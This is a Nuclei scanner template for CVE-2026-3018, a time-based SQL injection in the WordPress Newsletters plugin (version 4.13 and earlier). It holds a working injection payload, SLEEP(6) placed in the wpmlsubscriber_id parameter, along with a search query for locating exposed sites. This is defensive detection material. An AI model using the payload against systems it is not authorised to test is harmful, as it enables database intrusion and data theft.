id: CVE-2026-3018

info:
  name: WordPress Newsletters <= 4.13 - Unauthenticated SQL Injection
  author: pussycat0x
  severity: high
  description: |
    Newsletters WordPress plugin <= 4.13 contains a time-based SQL injection caused by insufficient escaping of the 'wpmlsubscriber_id' parameter, letting unauthenticated attackers extract sensitive database information.
  impact: |
    Unauthenticated attackers can extract sensitive information from the database, potentially compromising data confidentiality.
  remediation: Update to the latest version beyond 4.13.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/newsletters-lite/newsletters-413-unauthenticated-sql-injection
    - https://plugins.trac.wordpress.org/changeset/3566485/newsletters-lite
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-3018
    epss-score: 0.01382
    epss-percentile: 0.69453
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: tribulant
    product: newsletters
    framework: wordpress
    publicwww-query: "/wp-content/plugins/newsletters-lite/"
  tags: cve,cve2026,sqli,wp,wp-plugin,newsletters-lite,time-based-sqli,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/newsletters-lite/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Newsletters")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        internal: true
        group: 1
        regex:
          - '(?i)Stable\s*tag:\s*(\d+\.\d+(?:\.\d+)?)'

  - raw:
      - |
        @timeout: 20s
        GET /newsletter-management/?method=unsubscribe&wpmlsubscriber_id=1'+AND+(SELECT+6881+FROM+(SELECT(SLEEP(6)))iEAn)+AND+'1'='1&authkey=x&wpmlmailinglist_id=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "wp-content") || contains(body, "wordpress") || contains(body, "newsletter")'
        condition: and
# digest: 4a0a00473045022040f3bfd1ddcc9fbf3145bdbcc01e7c823ef59b9c50ed7a1b2a5375671496c3c40221009ffceff893e580593e2d3174dc5825c13bc676f7b495c195f1880c8fff58233e:922c64590222798bb761d5b6d8e72950